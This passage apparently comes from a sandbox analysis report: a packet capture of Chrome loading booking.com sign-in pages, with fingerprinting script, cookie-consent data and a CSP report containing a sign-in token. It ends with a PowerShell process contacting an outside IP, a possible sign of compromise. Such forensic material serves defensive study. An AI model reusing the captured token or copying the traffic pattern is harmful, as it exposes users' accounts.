a},doNotTrackKey:function(a){this.options.excludeDoNotTrack\|\|a.push(this.getDoNotTrack());retur
2024-11-02 13:00:18 UTC	7881	IN	Data Raw: 61 2e 46 52 41 47 4d 45 4e 54 5f 53 48 41 44 45 52 2c 61 2e 48 49 47 48 5f 46 4c 4f 41 54 29 2e 72 61 6e 67 65 4d 61 78 29 3b 62 2e 70 75 73 68 28 22 77 65 62 67 6c 20 66 72 61 67 6d 65 6e 74 20 73 68 61 64 65 72 20 6d 65 64 69 75 6d 20 66 6c 6f 61 74 20 70 72 65 63 69 73 69 6f 6e 3a 22 2b 61 2e 67 65 74 53 68 61 64 65 72 50 72 65 63 69 73 69 6f 6e 46 6f 72 6d 61 74 28 61 2e 46 52 41 47 4d 45 4e 54 5f 53 48 41 44 45 52 2c 0a 61 2e 4d 45 44 49 55 4d 5f 46 4c 4f 41 54 29 2e 70 72 65 63 69 73 69 6f 6e 29 3b 62 2e 70 75 73 68 28 22 77 65 62 67 6c 20 66 72 61 67 6d 65 6e 74 20 73 68 61 64 65 72 20 6d 65 64 69 75 6d 20 66 6c 6f 61 74 20 70 72 65 63 69 73 69 6f 6e 20 72 61 6e 67 65 4d 69 6e 3a 22 2b 61 2e 67 65 74 53 68 61 64 65 72 50 72 65 63 69 73 69 6f 6e 46 Data Ascii: a.FRAGMENT_SHADER,a.HIGH_FLOAT).rangeMax);b.push("webgl fragment shader medium float precision:"+a.getShaderPrecisionFormat(a.FRAGMENT_SHADER,a.MEDIUM_FLOAT).precision);b.push("webgl fragment shader medium float precision rangeMin:"+a.getShaderPrecisionF
2024-11-02 13:00:18 UTC	7751	IN	Data Raw: 3e 3e 31 36 3b 62 5b 31 5d 26 3d 36 35 35 33 35 3b 62 5b 30 5d 2b 3d 61 5b 30 5d 2a 63 5b 33 5d 2b 61 5b 31 5d 2a 63 5b 32 5d 2b 61 5b 32 5d 2a 63 5b 31 5d 2b 61 5b 33 5d 2a 63 5b 30 5d 3b 62 5b 30 5d 26 3d 36 35 35 33 35 3b 72 65 74 75 72 6e 5b 62 5b 30 5d 3c 3c 31 36 7c 62 5b 31 5d 2c 0a 62 5b 32 5d 3c 3c 31 36 7c 62 5b 33 5d 5d 7d 2c 78 36 34 52 6f 74 6c 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 63 29 7b 63 25 3d 36 34 3b 69 66 28 33 32 3d 3d 3d 63 29 72 65 74 75 72 6e 5b 61 5b 31 5d 2c 61 5b 30 5d 5d 3b 69 66 28 33 32 3e 63 29 72 65 74 75 72 6e 5b 61 5b 30 5d 3c 3c 63 7c 61 5b 31 5d 3e 3e 3e 33 32 2d 63 2c 61 5b 31 5d 3c 3c 63 7c 61 5b 30 5d 3e 3e 3e 33 32 2d 63 5d 3b 63 2d 3d 33 32 3b 72 65 74 75 72 6e 5b 61 5b 31 5d 3c 3c 63 7c 61 5b 30 5d 3e 3e 3e 33 32 Data Ascii: >>16;b[1]&=65535;b[0]+=a[0]c[3]+a[1]c[2]+a[2]c[1]+a[3]c[0];b[0]&=65535;return[b[0]<<16\|b[1],b[2]<<16\|b[3]]},x64Rotl:function(a,c){c%=64;if(32===c)return[a[1],a[0]];if(32>c)return[a[0]<<c\|a[1]>>>32-c,a[1]<<c\|a[0]>>>32-c];c-=32;return[a[1]<<c\|a[0]>>>32

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.5	49780	18.239.69.6	443	4160	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:17 UTC	569	OUT	GET /ec/c.html?name=ecid HTTP/1.1 Host: saa.booking.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://account.booking.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://account.booking.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-02 13:00:18 UTC	690	IN	HTTP/1.1 304 Not Modified Content-Type: image/png Content-Length: 0 Connection: close date: Sat, 02 Nov 2024 13:00:18 GMT server: Perl Dancer2 0.300004 vary: Origin access-control-allow-headers: Cache-Control, If-None-Match, ETag, X-ecc, X-ece access-control-allow-methods: GET, OPTIONS access-control-allow-origin: https://account.booking.com access-control-max-age: 86400 x-xss-protection: 1; mode=block strict-transport-security: max-age=63072000; includeSubDomains; preload X-Cache: Miss from cloudfront Via: 1.1 0f98b23785e0aac311e2d09ea5460eb8.cloudfront.net (CloudFront) X-Amz-Cf-Pop: AMS58-P4 X-Amz-Cf-Id: MqyswicSnW9Wyg24JdpplhbTWuYCo_QZzhzgZpqrzWYVW0bWMPU51w==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.5	49783	104.18.87.42	443	4160	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:18 UTC	433	OUT	GET /consent/a387750c-a080-4dd0-b2d1-7dbdb601bb14/0191ffb2-0224-7614-89a9-ce4becc49775/en-us.json HTTP/1.1 Host: cdn.cookielaw.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-02 13:00:18 UTC	982	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 13:00:18 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close CF-Ray: 8dc44e850e3f462f-DFW CF-Cache-Status: HIT Access-Control-Allow-Origin: * Age: 37482 Cache-Control: public, max-age=86400 Expires: Sun, 03 Nov 2024 13:00:18 GMT Last-Modified: Tue, 17 Sep 2024 13:58:42 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Vary: Accept-Encoding Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Content-MD5: mQdwKzDxByqBkuPEnb71DQ== Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 214db4d2-201e-0054-274d-267900000000 x-ms-version: 2009-09-19 Cross-Origin-Resource-Policy: cross-origin Server: cloudflare
2024-11-02 13:00:18 UTC	387	IN	Data Raw: 32 31 31 39 0d 0a 7b 22 44 6f 6d 61 69 6e 44 61 74 61 22 3a 7b 22 70 63 63 6c 6f 73 65 42 75 74 74 6f 6e 54 79 70 65 22 3a 22 49 63 6f 6e 22 2c 22 70 63 6c 69 66 65 53 70 61 6e 59 72 22 3a 22 59 65 61 72 22 2c 22 70 63 6c 69 66 65 53 70 61 6e 59 72 73 22 3a 22 59 65 61 72 73 22 2c 22 70 63 6c 69 66 65 53 70 61 6e 53 65 63 73 22 3a 22 41 20 66 65 77 20 73 65 63 6f 6e 64 73 22 2c 22 70 63 6c 69 66 65 53 70 61 6e 57 6b 22 3a 22 57 65 65 6b 22 2c 22 70 63 6c 69 66 65 53 70 61 6e 57 6b 73 22 3a 22 57 65 65 6b 73 22 2c 22 70 63 63 6f 6e 74 69 6e 75 65 57 69 74 68 6f 75 74 41 63 63 65 70 74 54 65 78 74 22 3a 22 43 6f 6e 74 69 6e 75 65 20 77 69 74 68 6f 75 74 20 41 63 63 65 70 74 69 6e 67 22 2c 22 4d 61 69 6e 54 65 78 74 22 3a 22 4d 61 6e 61 67 65 20 63 6f 6f 6b Data Ascii: 2119{"DomainData":{"pccloseButtonType":"Icon","pclifeSpanYr":"Year","pclifeSpanYrs":"Years","pclifeSpanSecs":"A few seconds","pclifeSpanWk":"Week","pclifeSpanWks":"Weeks","pccontinueWithoutAcceptText":"Continue without Accepting","MainText":"Manage cook
2024-11-02 13:00:18 UTC	1369	IN	Data Raw: 20 64 69 73 61 62 6c 65 20 74 68 65 20 73 65 74 74 69 6e 67 73 20 66 6f 72 20 65 61 63 68 20 63 6f 6f 6b 69 65 20 63 61 74 65 67 6f 72 79 20 61 74 20 61 6e 79 20 74 69 6d 65 2e 3c 2f 70 3e 5c 6e 3c 70 3e 59 6f 75 20 63 61 6e 20 66 69 6e 64 20 6d 6f 72 65 20 64 65 74 61 69 6c 65 64 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 6f 6e 20 63 6f 6f 6b 69 65 20 75 73 65 20 61 6e 64 20 64 65 73 63 72 69 70 74 69 6f 6e 73 20 69 6e 20 6f 75 72 20 3c 61 20 68 72 65 66 3d 5c 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 6f 6f 6b 69 6e 67 2e 63 6f 6d 2f 63 6f 6e 74 65 6e 74 2f 70 72 69 76 61 63 79 2e 68 74 6d 6c 5c 22 20 74 61 72 67 65 74 3d 5c 22 5f 62 6c 61 6e 6b 5c 22 3e 50 72 69 76 61 63 79 20 26 20 43 6f 6f 6b 69 65 20 53 74 61 74 65 6d 65 6e 74 3c 2f 61 3e 2e 3c 2f 70 3e Data Ascii: disable the settings for each cookie category at any time.</p>\n<p>You can find more detailed information on cookie use and descriptions in our <a href=\"https://www.booking.com/content/privacy.html\" target=\"_blank\">Privacy & Cookie Statement</a>.</p>
2024-11-02 13:00:18 UTC	1369	IN	Data Raw: 74 6f 20 64 69 73 70 6c 61 79 20 61 6e 64 20 73 65 6e 64 20 70 65 72 73 6f 6e 61 6c 69 7a 65 64 20 63 6f 6e 74 65 6e 74 20 61 6e 64 20 61 64 76 65 72 74 69 73 65 6d 65 6e 74 73 20 6f 6e 20 6f 75 72 20 70 6c 61 74 66 6f 72 6d 2c 20 6f 74 68 65 72 20 77 65 62 73 69 74 65 73 2c 20 61 6e 64 20 76 69 61 20 70 75 73 68 20 6d 65 73 73 61 67 65 73 20 61 6e 64 20 65 6d 61 69 6c 73 2e 20 54 68 65 20 70 65 72 73 6f 6e 61 6c 69 7a 65 64 20 63 6f 6e 74 65 6e 74 20 69 73 20 62 61 73 65 64 20 6f 6e 20 79 6f 75 72 20 62 72 6f 77 73 69 6e 67 20 61 6e 64 20 74 68 65 20 73 65 72 76 69 63 65 73 20 79 6f 75 27 76 65 20 62 6f 6f 6b 65 64 2e 20 54 68 65 73 65 20 63 6f 6f 6b 69 65 73 20 61 6c 73 6f 20 61 6c 6c 6f 77 20 79 6f 75 20 74 6f 20 73 68 61 72 65 20 6f 72 20 6c 69 6b 65 Data Ascii: to display and send personalized content and advertisements on our platform, other websites, and via push messages and emails. The personalized content is based on your browsing and the services you've booked. These cookies also allow you to share or like
2024-11-02 13:00:18 UTC	1369	IN	Data Raw: 73 70 61 6e 45 6e 61 62 6c 65 64 22 3a 66 61 6c 73 65 2c 22 4c 69 66 65 73 70 61 6e 54 65 78 74 22 3a 22 4c 69 66 65 73 70 61 6e 22 2c 22 56 65 6e 64 6f 72 4c 65 76 65 6c 4f 70 74 4f 75 74 22 3a 66 61 6c 73 65 2c 22 48 61 73 53 63 72 69 70 74 41 72 63 68 69 76 65 22 3a 66 61 6c 73 65 2c 22 42 61 6e 6e 65 72 50 6f 73 69 74 69 6f 6e 22 3a 22 62 6f 74 74 6f 6d 22 2c 22 50 72 65 66 65 72 65 6e 63 65 43 65 6e 74 65 72 50 6f 73 69 74 69 6f 6e 22 3a 22 64 65 66 61 75 6c 74 22 2c 22 50 72 65 66 65 72 65 6e 63 65 43 65 6e 74 65 72 43 6f 6e 66 69 72 6d 54 65 78 74 22 3a 22 43 6f 6e 66 69 72 6d 20 73 65 74 74 69 6e 67 73 22 2c 22 56 65 6e 64 6f 72 4c 69 73 74 54 65 78 74 22 3a 22 4c 69 73 74 20 6f 66 20 49 41 42 20 56 65 6e 64 6f 72 73 22 2c 22 54 68 69 72 64 50 61 Data Ascii: spanEnabled":false,"LifespanText":"Lifespan","VendorLevelOptOut":false,"HasScriptArchive":false,"BannerPosition":"bottom","PreferenceCenterPosition":"default","PreferenceCenterConfirmText":"Confirm settings","VendorListText":"List of IAB Vendors","ThirdPa
2024-11-02 13:00:18 UTC	1369	IN	Data Raw: 65 61 74 65 20 61 6e 20 61 63 63 6f 75 6e 74 2c 20 73 69 67 6e 20 69 6e 2c 20 61 6e 64 20 6d 61 6e 61 67 65 20 62 6f 6f 6b 69 6e 67 73 2e 20 54 68 65 79 20 61 6c 73 6f 20 72 65 6d 65 6d 62 65 72 20 79 6f 75 72 20 73 65 6c 65 63 74 65 64 20 63 75 72 72 65 6e 63 79 2c 20 6c 61 6e 67 75 61 67 65 2c 20 61 6e 64 20 70 61 73 74 20 73 65 61 72 63 68 65 73 2e 20 54 68 65 73 65 20 74 65 63 68 6e 69 63 61 6c 20 63 6f 6f 6b 69 65 73 20 6d 75 73 74 20 62 65 20 65 6e 61 62 6c 65 64 20 74 6f 20 75 73 65 20 6f 75 72 20 73 69 74 65 20 61 6e 64 20 73 65 72 76 69 63 65 73 2e 22 2c 22 47 72 6f 75 70 44 65 73 63 72 69 70 74 69 6f 6e 4f 54 54 22 3a 22 57 65 20 75 73 65 20 66 75 6e 63 74 69 6f 6e 61 6c 20 63 6f 6f 6b 69 65 73 20 74 6f 20 65 6e 61 62 6c 65 20 6f 75 72 20 77 65 Data Ascii: eate an account, sign in, and manage bookings. They also remember your selected currency, language, and past searches. These technical cookies must be enabled to use our site and services.","GroupDescriptionOTT":"We use functional cookies to enable our we
2024-11-02 13:00:18 UTC	1369	IN	Data Raw: 73 29 2e 22 2c 22 70 61 74 74 65 72 6e 4b 65 79 22 3a 22 61 77 22 2c 22 74 68 69 72 64 50 61 72 74 79 4b 65 79 22 3a 22 50 61 74 74 65 72 6e 7c 61 77 22 2c 22 66 69 72 73 74 50 61 72 74 79 4b 65 79 22 3a 22 50 61 74 74 65 72 6e 7c 61 77 22 2c 22 44 75 72 61 74 69 6f 6e 54 79 70 65 22 3a 31 2c 22 63 61 74 65 67 6f 72 79 22 3a 6e 75 6c 6c 2c 22 69 73 54 68 69 72 64 50 61 72 74 79 22 3a 66 61 6c 73 65 7d 2c 7b 22 69 64 22 3a 22 33 63 61 37 32 37 31 37 2d 30 66 31 62 2d 34 36 38 36 2d 62 39 65 33 2d 35 32 30 30 61 64 33 65 66 63 38 31 22 2c 22 4e 61 6d 65 22 3a 22 70 63 6d 5f 76 65 72 69 66 69 65 64 22 2c 22 48 6f 73 74 22 3a 22 62 6f 6f 6b 69 6e 67 2e 63 6f 6d 22 2c 22 49 73 53 65 73 73 69 6f 6e 22 3a 66 61 6c 73 65 2c 22 4c 65 6e 67 74 68 22 3a 22 31 38 30 Data Ascii: s).","patternKey":"aw","thirdPartyKey":"Pattern\|aw","firstPartyKey":"Pattern\|aw","DurationType":1,"category":null,"isThirdParty":false},{"id":"3ca72717-0f1b-4686-b9e3-5200ad3efc81","Name":"pcm_verified","Host":"booking.com","IsSession":false,"Length":"180
2024-11-02 13:00:18 UTC	1249	IN	Data Raw: 61 73 20 70 61 72 74 20 6f 66 20 50 65 72 69 6d 65 74 65 72 58 20 73 65 63 75 72 69 74 79 20 73 65 72 76 69 63 65 73 2e 22 2c 22 74 68 69 72 64 50 61 72 74 79 44 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 44 72 6f 70 70 65 64 20 62 79 20 53 65 63 75 72 69 74 79 20 74 65 61 6d 20 61 73 20 70 61 72 74 20 6f 66 20 50 65 72 69 6d 65 74 65 72 58 20 73 65 63 75 72 69 74 79 20 73 65 72 76 69 63 65 73 2e 22 2c 22 70 61 74 74 65 72 6e 4b 65 79 22 3a 6e 75 6c 6c 2c 22 74 68 69 72 64 50 61 72 74 79 4b 65 79 22 3a 6e 75 6c 6c 2c 22 66 69 72 73 74 50 61 72 74 79 4b 65 79 22 3a 6e 75 6c 6c 2c 22 44 75 72 61 74 69 6f 6e 54 79 70 65 22 3a 31 2c 22 63 61 74 65 67 6f 72 79 22 3a 6e 75 6c 6c 2c 22 69 73 54 68 69 72 64 50 61 72 74 79 22 3a 66 61 6c 73 65 7d 2c 7b 22 69 64 22 3a Data Ascii: as part of PerimeterX security services.","thirdPartyDescription":"Dropped by Security team as part of PerimeterX security services.","patternKey":null,"thirdPartyKey":null,"firstPartyKey":null,"DurationType":1,"category":null,"isThirdParty":false},{"id":
2024-11-02 13:00:18 UTC	1369	IN	Data Raw: 37 66 66 61 0d 0a 22 2c 22 4e 61 6d 65 22 3a 22 62 6b 6e 67 5f 73 73 6f 5f 73 65 73 22 2c 22 48 6f 73 74 22 3a 22 62 6f 6f 6b 69 6e 67 2e 63 6f 6d 22 2c 22 49 73 53 65 73 73 69 6f 6e 22 3a 66 61 6c 73 65 2c 22 4c 65 6e 67 74 68 22 3a 22 31 38 32 34 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 46 6f 72 6d 73 20 70 61 72 74 20 6f 66 20 74 68 65 20 61 63 63 6f 75 6e 74 2e 62 6f 6f 6b 69 6e 67 2e 63 6f 6d 20 73 69 6e 67 6c 65 20 73 69 67 6e 2d 6f 6e 20 28 53 53 4f 29 20 73 6f 6c 75 74 69 6f 6e 2c 20 70 61 73 73 69 6e 67 20 73 69 67 6e 20 69 6e 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 74 6f 20 6f 74 68 65 72 20 42 6f 6f 6b 69 6e 67 2e 63 6f 6d 20 73 75 62 64 6f 6d 61 69 6e 73 2e 20 22 2c 22 74 68 69 72 64 50 61 72 74 79 44 65 73 63 72 69 70 74 69 6f 6e 22 Data Ascii: 7ffa","Name":"bkng_sso_ses","Host":"booking.com","IsSession":false,"Length":"1824","description":"Forms part of the account.booking.com single sign-on (SSO) solution, passing sign in information to other Booking.com subdomains. ","thirdPartyDescription"
2024-11-02 13:00:18 UTC	1369	IN	Data Raw: 66 61 6c 73 65 7d 2c 7b 22 69 64 22 3a 22 30 31 64 35 35 36 37 63 2d 33 34 30 35 2d 34 39 31 62 2d 61 66 36 61 2d 35 65 61 36 63 34 37 30 63 32 35 63 22 2c 22 4e 61 6d 65 22 3a 22 5f 70 78 76 69 64 22 2c 22 48 6f 73 74 22 3a 22 62 6f 6f 6b 69 6e 67 2e 63 6f 6d 22 2c 22 49 73 53 65 73 73 69 6f 6e 22 3a 66 61 6c 73 65 2c 22 4c 65 6e 67 74 68 22 3a 22 37 33 30 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 44 72 6f 70 70 65 64 20 62 79 20 53 65 63 75 72 69 74 79 20 74 65 61 6d 20 61 73 20 70 61 72 74 20 6f 66 20 50 65 72 69 6d 65 74 65 72 58 20 73 65 63 75 72 69 74 79 20 73 65 72 76 69 63 65 73 22 2c 22 74 68 69 72 64 50 61 72 74 79 44 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 44 72 6f 70 70 65 64 20 62 79 20 53 65 63 75 72 69 74 79 20 74 65 61 6d 20 61 73 Data Ascii: false},{"id":"01d5567c-3405-491b-af6a-5ea6c470c25c","Name":"_pxvid","Host":"booking.com","IsSession":false,"Length":"730","description":"Dropped by Security team as part of PerimeterX security services","thirdPartyDescription":"Dropped by Security team as
2024-11-02 13:00:18 UTC	1369	IN	Data Raw: 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 46 6f 72 6d 73 20 70 61 72 74 20 6f 66 20 74 68 65 20 61 63 63 6f 75 6e 74 2e 62 6f 6f 6b 69 6e 67 2e 63 6f 6d 20 73 69 6e 67 6c 65 20 73 69 67 6e 2d 6f 6e 20 28 53 53 4f 29 20 73 6f 6c 75 74 69 6f 6e 2c 20 70 61 73 73 69 6e 67 20 73 69 67 6e 20 69 6e 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 74 6f 20 6f 74 68 65 72 20 42 6f 6f 6b 69 6e 67 2e 63 6f 6d 20 73 75 62 64 6f 6d 61 69 6e 73 2e 20 22 2c 22 74 68 69 72 64 50 61 72 74 79 44 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 46 6f 72 6d 73 20 70 61 72 74 20 6f 66 20 74 68 65 20 61 63 63 6f 75 6e 74 2e 62 6f 6f 6b 69 6e 67 2e 63 6f 6d 20 73 69 6e 67 6c 65 20 73 69 67 6e 2d 6f 6e 20 28 53 53 4f 29 20 73 6f 6c 75 74 69 6f 6e 2c 20 70 61 73 73 69 6e 67 20 73 69 67 6e 20 69 6e Data Ascii: description":"Forms part of the account.booking.com single sign-on (SSO) solution, passing sign in information to other Booking.com subdomains. ","thirdPartyDescription":"Forms part of the account.booking.com single sign-on (SSO) solution, passing sign in

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.5	49781	18.239.69.15	443	4160	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:18 UTC	783	OUT	POST /csp-report-uri?type=report&tag=213&pid=bbe65b6a0b91008f&e=UmFuZG9tSVYkc2RlIyh9YSWKtKO5TxgOpTwVTPfHZKNW3Hcrm1RLgc98bqahgr47JzxlobzO23n-Ni1r17WXhNzbiACdcA4fNTrxEijXOtM HTTP/1.1 Host: nellie.booking.com Connection: keep-alive Content-Length: 2047 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/csp-report Accept: / Origin: https://account.booking.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: report Referer: https://account.booking.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-02 13:00:18 UTC	2047	OUT	Data Raw: 7b 22 63 73 70 2d 72 65 70 6f 72 74 22 3a 7b 22 64 6f 63 75 6d 65 6e 74 2d 75 72 69 22 3a 22 68 74 74 70 73 3a 2f 2f 61 63 63 6f 75 6e 74 2e 62 6f 6f 6b 69 6e 67 2e 63 6f 6d 2f 73 69 67 6e 2d 69 6e 3f 6f 70 5f 74 6f 6b 65 6e 3d 45 67 56 76 59 58 56 30 61 43 4b 79 41 51 6f 55 4e 6c 6f 33 4d 6d 39 49 54 32 51 7a 4e 6b 35 75 4e 33 70 72 4d 33 42 70 63 6d 67 53 43 57 46 31 64 47 68 76 63 6d 6c 36 5a 52 6f 61 61 48 52 30 63 48 4d 36 4c 79 39 68 5a 47 31 70 62 69 35 69 62 32 39 72 61 57 35 6e 4c 6d 4e 76 62 53 38 71 4f 6e 73 69 59 58 56 30 61 46 39 68 64 48 52 6c 62 58 42 30 58 32 6c 6b 49 6a 6f 69 4e 6a 41 35 4f 57 4a 68 4e 44 59 74 59 54 67 7a 4f 43 30 30 4d 6a 63 77 4c 54 6b 7a 5a 44 49 74 4e 6d 52 69 5a 54 55 31 4f 54 42 68 59 32 52 69 49 6e 30 79 4b 32 56 Data Ascii: {"csp-report":{"document-uri":"https://account.booking.com/sign-in?op_token=EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiNjA5OWJhNDYtYTgzOC00MjcwLTkzZDItNmRiZTU1OTBhY2RiIn0yK2V
2024-11-02 13:00:18 UTC	468	IN	HTTP/1.1 200 OK Content-Type: application/json; charset=UTF-8 Transfer-Encoding: chunked Connection: close server: nginx date: Sat, 02 Nov 2024 13:00:18 GMT strict-transport-security: max-age=63072000; includeSubDomains; preload x-xss-protection: 1; mode=block X-Cache: Miss from cloudfront Via: 1.1 4a58d1025db7d55387fe7325daf4435e.cloudfront.net (CloudFront) X-Amz-Cf-Pop: AMS58-P4 X-Amz-Cf-Id: 4YI9c_7tFvrMDRkXTs6FFwiH9YJu3zqOG3hBfTi4g3eKvUKx1jriIQ==
2024-11-02 13:00:18 UTC	7	IN	Data Raw: 32 0d 0a 7b 7d 0d 0a Data Ascii: 2{}
2024-11-02 13:00:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.5	49779	18.239.69.6	443	4160	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:18 UTC	569	OUT	GET /ec/e.html?name=ecid HTTP/1.1 Host: saa.booking.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://account.booking.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://account.booking.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-02 13:00:18 UTC	680	IN	HTTP/1.1 200 OK Content-Type: image/png Content-Length: 0 Connection: close date: Sat, 02 Nov 2024 13:00:18 GMT server: Perl Dancer2 0.300004 vary: Origin access-control-allow-headers: Cache-Control, If-None-Match, ETag, X-ecc, X-ece access-control-allow-methods: GET, OPTIONS access-control-allow-origin: https://account.booking.com access-control-max-age: 86400 x-xss-protection: 1; mode=block strict-transport-security: max-age=63072000; includeSubDomains; preload X-Cache: Miss from cloudfront Via: 1.1 d1b1cc661d55a3f8a88f240826e4f38c.cloudfront.net (CloudFront) X-Amz-Cf-Pop: AMS58-P4 X-Amz-Cf-Id: ZW4WRSv5tJig3EmVHgLtGLV1fff6v1RIs_BIK_vTGcLwmk8LxYdT6A==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.5	49771	18.245.31.129	443	4160	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:18 UTC	372	OUT	GET /libs/acc-clientlib/v5/clientlib.js HTTP/1.1 Host: xx.bstatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-02 13:00:18 UTC	836	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 3662 Connection: close Server: nginx Date: Thu, 17 Oct 2024 05:06:11 GMT Last-Modified: Fri, 27 Sep 2024 07:30:22 GMT ETag: "66f65f0e-e4e" Expires: Sat, 16 Nov 2024 05:06:11 GMT Cache-Control: max-age=2592000 access-control-allow-origin: * nel: {"report_to":"default","max_age":600} report-to: {"endpoints":[{"url":"https://nellie.booking.com/report"}],"max_age":600,"group":"default","failure_fraction":0.05} Accept-Ranges: bytes x-xss-protection: 1; mode=block timing-allow-origin: * Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 1eee8db55908814c8f0cde754e3bee5a.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA56-P8 Alt-Svc: h3=":443"; ma=86400 X-Amz-Cf-Id: GtsLQ0AiKnJ8_QRhwOL4fUFmOlOP_fDnrB7is0JLGYxfemICMdt5qw== Age: 1410847
2024-11-02 13:00:18 UTC	3662	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 76 61 72 20 67 3d 74 68 69 73 7c 7c 73 65 6c 66 3b 66 75 6e 63 74 69 6f 6e 20 7a 28 29 7b 72 65 74 75 72 6e 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 3d 74 79 70 65 6f 66 20 44 61 74 65 2e 6e 6f 77 3f 28 6e 65 77 20 44 61 74 65 29 2e 67 65 74 54 69 6d 65 28 29 3a 44 61 74 65 2e 6e 6f 77 28 29 7d 66 75 6e 63 74 69 6f 6e 20 4e 28 45 29 7b 74 68 69 73 2e 4c 3d 45 3b 31 36 3d 3d 74 68 69 73 2e 4c 3f 28 74 68 69 73 2e 76 3d 32 36 38 34 33 35 34 35 36 2c 74 68 69 73 2e 43 3d 34 30 32 36 35 33 31 38 33 39 29 3a 28 74 68 69 73 2e 76 3d 37 38 33 36 34 31 36 34 30 39 36 2c 74 68 69 73 2e 43 3d 32 37 34 32 37 34 35 37 34 33 33 35 39 29 7d 66 75 6e 63 74 69 6f 6e 20 6c 28 45 29 7b 72 65 74 75 72 6e 28 4d 61 74 68 2e 66 6c 6f 6f 72 Data Ascii: (function(){var g=this\|\|self;function z(){return"undefined"===typeof Date.now?(new Date).getTime():Date.now()}function N(E){this.L=E;16==this.L?(this.v=268435456,this.C=4026531839):(this.v=78364164096,this.C=2742745743359)}function l(E){return(Math.floor

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.5	49782	24.152.39.120	443	4592	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
